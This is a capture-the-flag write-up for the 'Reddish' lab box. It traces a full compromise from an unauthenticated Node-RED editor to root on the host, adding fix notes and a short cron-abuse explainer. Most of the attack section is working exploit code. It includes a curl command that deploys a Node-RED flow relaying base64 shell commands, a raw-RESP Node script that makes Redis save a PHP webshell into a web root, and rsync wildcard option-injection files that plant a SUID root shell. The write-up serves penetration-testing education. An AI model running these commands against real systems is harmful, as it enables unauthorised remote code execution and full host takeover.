Reddish
Summary
I found a single externally-exposed service, TCP 1880 running a Node-RED flow-automation editor with no authentication, and used its REST API to deploy a malicious flow granting persistent OS-command execution inside the Node-RED Docker container, where the process ran as root. From that container, internal Docker subnet scanning located an unauthenticated Redis instance sharing a storage volume with an Apache/PHP 7.0 web container; Redis was instructed to save a PHP webshell directly into the shared document root, providing a second foothold on the web container. Inspecting cron jobs from there revealed a root-owned backup script that called rsync with a shell wildcard over a directory writable by the web-server account: a classic option-injection path.
By placing files whose names matched rsync command-line flags in that directory, I injected options into the live root rsync invocation, writing a root-owned SUID shell payload to the backup host via the unauthenticated rsync daemon. That payload was triggered by the next cron cycle, yielding full root-level control of the underlying host and capture of both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"
export INTERNAL_HOST5="<another-host-reached-after-pivoting>"
export INTERNAL_HOST6="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export HEX_ID="<a-value-you-captured-earlier>"
export HEX_ID2="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 3
Full TCP port scan; identifies 1880/tcp as the sole open port running Node.js Express.
$ nmap -sV -p- --open -T4 $TARGETProbe common Node-RED path prefixes to confirm the install and locate the UUID-based editor path.
$ for u in / /red /flows /red/flows; do curl -sS -o /dev/null -w "%{http_code} $u\n" --max-time 5 "http://$TARGET:1880$u"; doneConfirm unauthenticated read access to the Node-RED flows API at the discovered UUID path.
$ curl -sS -i "http://$TARGET:1880/red/$HEX_ID/flows"FixRequire authentication for the Node-RED editor and remove it from public network exposureCritical
Exact commands 2
Deploy the command-relay flow; the function node decodes query param 'b' from base64 and shells it out. Adjust the UUID to match the discovered editor path.
$ curl -sS -i -X POST "http://$TARGET:1880/red/$HEX_ID/flows" -H 'Content-Type: application/json' -H 'Node-RED-Deployment-Type: full' -d '[{"id":"t1","type":"tab"},{"id":"n1","type":"http in","z":"t1","method":"get","url":"/cmd","wires":[["n2"]]},{"id":"n2","type":"function","z":"t1","func":"var cp=require(\"child_process\");cp.exec(Buffer.from(msg.req.query.b,\"base64\").toString(),(e,o)=>{msg.payload=o;node.send(msg);});return;","outputs":1,"wires":[["n3"]]},{"id":"n3","type":"http response","z":"t1"}]'Verify RCE via the relay; expected response confirms uid=0(root) inside the 'nodered' container.
$ cmd='id; whoami; hostname; ip -brief addr'; b=$(printf %s "$cmd" | base64 -w0); curl -sS --max-time 8 --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
uid=0(root) gid=0(root) groups=0(root)Exact commands 2
Identify Docker subnets and confirm 'node' is the only usable pivot tool inside the container.
$ cmd='ip -br addr; cat /proc/1/cgroup; command -v redis-cli nc curl wget node'; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"Node.js TCP sweep for Redis port 6379 across $INTERNAL_HOST3/24 via the exec relay.
$ cmd="node -e \"for(let i=1;i<255;i++){(function(h){const s=require('net').createConnection({host:h,port:6379,timeout:300});s.on('connect',()=>{console.log(h+':6379 OPEN');s.destroy()});s.on('error',()=>{});s.on('timeout',()=>s.destroy())}('$INTERNAL_PREFIX.'+i))}\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"Exact commands 1
Sends CONFIG SET dir, CONFIG SET dbfilename, SET (webshell payload), and SAVE to Redis via raw RESP protocol through the Node-RED exec relay. The written file is immediately accessible on $INTERNAL_HOST.
$ cmd="node -e \"const n=require('net'),cr='\\r\\n',R=a=>'*'+a.length+cr+a.map(x=>'$'+x.length+cr+x+cr).join('');const c=n.connect(6379,'$INTERNAL_HOST2',()=>{['CONFIG SET dir /var/www/html','CONFIG SET dbfilename s.php','SET payload \\n<?php system(\$_SERVER[HTTP_X]); ?>\\n','SAVE'].forEach(cmd=>{const p=cmd.split(' ');c.write(R(p))});});c.on('data',d=>console.log(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"FixRequire Redis authentication and isolate it on a private Docker networkCritical
Exact commands 2
Execute 'id;hostname;cat /etc/crontab' through the webshell via a raw HTTP request from the Node-RED container.
$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:id;hostname;cat /etc/crontab\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"Read backup.sh to identify the exact rsync invocation, wildcard source directory, and rsync daemon target (rsync://backup:873/src/).
$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:cat /backup/backup.sh\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"FixStop sharing the web document root as a writable volume with the database containerHigh
Exact commands 2
Stage option-injection files ('--chmod=4755', '--chown=root:root') and the shell payload in the rsync source directory as www-data; wait up to 3 minutes for the cron to transfer them to the backup host.
$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:cd /var/www/html/$HEX_ID2 && printf \\\"#!/bin/sh\\\\ncp /bin/sh /tmp/rootsh && chmod 4755 /tmp/rootsh\\\" > payload.sh && touch -- --chmod=4755 && touch -- --chown=root:root\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"Verify the SUID payload landed on the backup host with -rwsr-xr-x root:root permissions after the cron interval.
$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:ls -la /tmp/rootsh\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"FixRemove shell wildcard expansion from the root backup cron job and lock down the rsync daemonCritical
Exact commands 1
Invoke the SUID shell with -p to retain euid=0 and read both flags; replace <root.txt> and <user.txt> placeholders with actual captured values.
$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:/tmp/rootsh -p -c id;cat /backup/root/root.txt;cat /backup/home/*/user.txt\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
uid=33(www-data) euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.